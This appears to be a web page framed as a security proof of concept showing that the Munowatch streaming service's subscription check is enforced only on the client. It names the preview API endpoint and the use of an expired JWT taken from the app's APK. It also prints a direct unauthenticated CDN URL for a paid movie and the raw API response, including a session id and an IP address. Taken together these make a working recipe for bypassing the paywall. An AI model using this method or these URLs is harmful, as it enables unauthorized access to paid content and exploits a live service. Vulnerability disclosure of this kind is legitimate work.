SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required
Per-movie CDN bypass proof:
The API returned playingUrl for Arrival with issubscriber: false, user_access: deny, and paid_for: true.
The video_name + serverhost from the API response are used to construct the CDN URL above — confirming that the CDN file for this specific movie is publicly accessible with no authentication.
Arrival
Vj Ulio Sci FI 01h 56m 10 months ago

Linguist Louise Banks leads a team of investigators when gigantic spaceships touch down around the world. As nations teeter on the verge of global war, Banks and her crew must find a way to communicate with the extraterrestrial visitors.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/58291/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 73
video_name THE ARRIVAL 2025 HD VJ.ULIO.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN stream https://munotech2.b-cdn.net/naks/naks42/THE%20ARRIVAL%202025%20HD%20VJ.ULIO.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206). 

{
    "id": 58291,
    "video_title": "Arrival",
    "description": "Linguist Louise Banks leads a team of investigators when gigantic spaceships touch down around the world. As nations teeter on the verge of global war, Banks and her crew must find a way to communicate with the extraterrestrial visitors.",
    "video_name": "THE ARRIVAL 2025 HD VJ.ULIO.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "73",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "01h 56m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/3BSd7DXPMZ4706.jpg",
    "tfilehistory": "",
    "category_id": 14,
    "language_id": 1,
    "recording_date": "2025-07-31",
    "age_id": "13 +",
    "location": 1,
    "tab_category_id": 14,
    "series_code": "58291",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "994.05 MB",
    "create_date": "2025-07-31 13:07:27",
    "schedule_date": "2025-07-31 18:09:12.038213",
    "user_id": 1118356,
    "vj_id": 38,
    "video_status_id": 0,
    "network_id": "45.221.10.185",
    "user_access": "deny",
    "notification": "No",
    "secduration": "6982.000000",
    "issubscriber": false,
    "genre": "Sci FI",
    "vjname": "Vj Ulio",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "10 months ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}